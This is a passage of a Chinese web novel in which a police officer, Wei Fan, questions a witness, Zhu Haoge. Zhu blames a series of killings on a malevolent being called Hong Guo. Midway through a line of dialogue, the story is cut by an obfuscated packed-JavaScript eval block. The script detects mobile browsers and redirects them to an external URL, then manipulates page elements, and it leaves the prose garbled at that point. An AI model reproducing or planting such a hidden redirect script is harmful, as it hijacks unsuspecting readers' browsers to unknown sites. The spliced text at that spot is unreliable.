卫帆走进去,把手里的纸杯轻轻放到祝好歌面前,勉强笑道:“累了吧,先喝点水吧。” 祝好歌抬起眼,看清是卫帆,之前那个有点热血的女警官,原本有些发空的眼神竟一下子聚了起来。 “是你啊。”她声音有点哑,却很快往下接,“我刚才和另一个人已经说过了,严婷婷不是精神病发作。” 这让卫帆坐下的动作顿了一下,她本来还想再说几句缓冲的话,比如“先休息一下”“你今晚也受了刺激”之类的,可祝好歌一开口,话题就又回到了原点。 “就算她本来有问题,”祝好歌看着她,语速很快,“也不会这么巧,偏偏是今天,偏偏是在这种关系链条全部被搅动之后,突然发作到这个地步。是洪猓。” 又是这个什么洪猓。 卫帆在心里叹了口气,面上却没表现出来,只尽量平和地说:“你和那个叫艾珂的证人也认识,我想你应该也清楚,严婷婷确实是一个性格比较拧巴的人,也比较极端。再加上她长期独自照顾失能的家人,工作压力又大,人际关系也很紧绷,精神状态原本就不稳定,所以有这种突发的精神问题不是完全没有可能。” “不是这个问题。”祝好歌立刻打断她,她的身体前倾了一点,生怕自己慢一秒,对方就会把事情彻底归到“普通案件”的范畴里去。 卫帆觉察到,这一点,和严婷婷在被简单质询时的一些小动作很像,不过她只是快速地想了一下,就转动眼珠,继续礼貌地注视着祝好歌的眼睛。 “一个很普通的女孩——”祝好歌停了片刻,斟酌措辞,“我一个手就能把她捞起来,这样一个长期加班也没有接受过暴力训练的普通人,突然有了神力能一口气杀这么多人,本来就不对。哪怕她真想作案,她大概率也会选毒杀,或者最多杀一个最恨的人出气,而不是这样——” 祝好歌停住了,犹豫地想要寻找一个不那么刺耳的词。 可还是说了出来。 “——不是这样残暴。” 卫帆的眉毛越来越皱,心里愈加寒凉。 这种有凶案是因为一个什么超自然的力量在作祟的证言,在她来看并不是什么太过分的事情。事实上,刚到一线时,卫帆就听过好几位前辈说,世界上真的有怪事。什么找不到线索的悬案被受害者托梦啦,再什么某些办案奇才总是对外宣称自己第六感很强啦,很多老案卷宗里也神乎其神地流传着一些不好明写的故事。 她们这些人,唯物是必须要坚持的说法,心里却多少也都知道,有些东西存在就是存在。 真正让她发冷的,是祝好歌说这句话时的神情和逻辑。 什么叫做“她大概率也会选毒杀,或者杀一个人出气。” 这是在分析一道数学题吗?太诡异了吧!刚刚才发生在现实里的惨案被她这样直击,她哪怕是兴奋甚至猎奇都至少说明她是一个自以为是的变态而已,可她却非常克制。也正是这种克制,让人不寒而栗。 正常人会这样说话吗?会这样平静地分析一个凶手该怎么杀人、杀多少人才合适吗? 卫帆盯着她,忽然意识到,自己或许从一开始就看错了祝好歌。 说真的,她对祝好歌一直都更有些耐心的原因是她本来以为,对方是那种有点特殊直觉、也许真能感知到些常人感知不到的东西,所以才对某些危险格外敏锐的“热心人”。可现在,这份敏锐背后露出的,却像是另一种更冰冷的东西——一种对人、对罪、对死亡都极度抽离的观察。 像在传教一样。 简直就是在拿一个个具体的人命,给自己那套“洪猓存在”的理论做论证。 “你明白吗?”祝好歌还在说,声音已经有点发紧,“我不是在替严婷婷开脱,我是在说这件事不寻常。她不是自己走到这一步的,一定有什么在推她。洪猓会诱导,她会挑那些心里已经有裂缝的人,把那点恶意放大——” “祝小姐。”卫帆忽然开口,她的声音不高,却把祝好歌的话硬生生截断了。 祝好歌怔了一下。 卫帆看着她,点了点头,神情已经变回十分职业化的冷淡:“你的意思,我明白了。我们如果之后还有什么需要补充了解的,会再联系你。” 这话听起来客气,却已经是在为这次见面收尾了。 祝好歌愣住了。她本来还带着一点发热的期待——经过今晚的事,卫帆至少应该能承认,最近发生在这座城市的许多事情,确确实实是有一个极其邪恶的东西存在而导致的,这样,她就能获得来自官方的助力... 她没想到,对方反而像一下子离她更远了。 “你不信我?”她皱起眉。 卫帆没有正面回答,只是继续用那种很柔和也很疏离的语气说:“你今晚目睹了现场,又被连续问询,情绪受影响很正常。后面如果你有需要,我们可以帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459178|201266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你联系创伤后干预治疗。回去不要急着睡觉,可以去公园转转走走,和别人聊聊天,吃点好吃的。” 祝好歌的脸色彻底变了,她看着卫帆,完全不能理解事情为什么会往这个方向拐。她原本还想继续往前推一步,甚至说服对方帮她一起追那条“关系网”,可现在,对方连看她的眼神都不对劲了。 简直像是... 职业本能般地在防备是一个可能精神状态也不太稳定、说话越来越像偏执狂的当事人。 不能着急,不能着急,越着急就会越难自证—— “还会有更多事情的。”祝好歌忽然说。 “直到她满足之前。”祝好歌盯着卫帆,眼睛从下往上看着后者,阴郁异常。 卫帆的眉头立刻压了下来:“难道你就这么期待还有更多凶案发生吗?”她冷冷地问。 祝好歌一怔:“我不是这个意思——” “而且照你的说法,”卫帆继续道,语气已经无法维持之前的温和,“这位洪猓似乎专门挑那些做过坏事的人,或者心里本来就有恶意的人。那严婷婷今晚会杀人,本身就是因为她早就存了杀意,只是在你和艾珂的刺激下,精神彻底崩掉了,难道,你就是洪猓吗?” 卫帆被自己情绪性的发言惊到了,她在今晚之前已经连续加班了两天,好不容易能睡一觉,紧接着就遇到了这件事,精神更加糟糕。 很多警察、尤其是那些混不吝的中年警察经常会这样,卫帆对此十分鄙夷,她曾发誓过,等到自己开始上班,一定要永远热血澎湃,永远以最好的面貌来面对人民。 没想到现在却... 说到底,就算祝好歌有什么性格和认知上的问题,人家也不是犯人,只是普通老百姓,自己千不该万不该这样去对人家发火,这样的话,和那些讨厌的老东西有什么区别。 “对不起,我...”卫帆说。 ——卫帆想起来自己与祝好歌统共就见过两面,两次竟都在不停地道歉,大概这就是孽缘吧。卫帆觉得,还是赶紧解决掉眼前的事回去为妙。 只是有些细节她不能说。比如严婷婷在审讯中的某些反应,比如现场勘查里能拼出的那条家庭矛盾链,还有严婷婷冰箱里的那些有毒的食物和持续了大半年的不定时补充的有毒化学品购买记录...这些东西不是祝好歌该知道的,哪怕只要告诉她,就能直接断了她所谓的是洪猓来了,严婷婷才会杀人的那个理论。 因为按照祝好歌所说,是洪猓来到津口市才带来了这许多罪恶;但严婷婷一案里,她本来就对母亲产生了杀心,多半精神早就不正常了,只是一直压抑着,今天又被亲戚这样联合着算计了,才彻底爆发。 这固然令人惋惜,从犯罪心理学的角度来说却完全合情合理,根本没什么所谓异常的。 卫帆张了张嘴,最后说:“你先休息。别再想太多了。有什么情况,我们会再找你。”说完这句话,没再停留,转身就往门口走。 祝好歌还坐在原地,神情有一瞬间几乎是空白的,她完全没料到自己费尽力气解释了这么多,最后得到的却是这样的结果。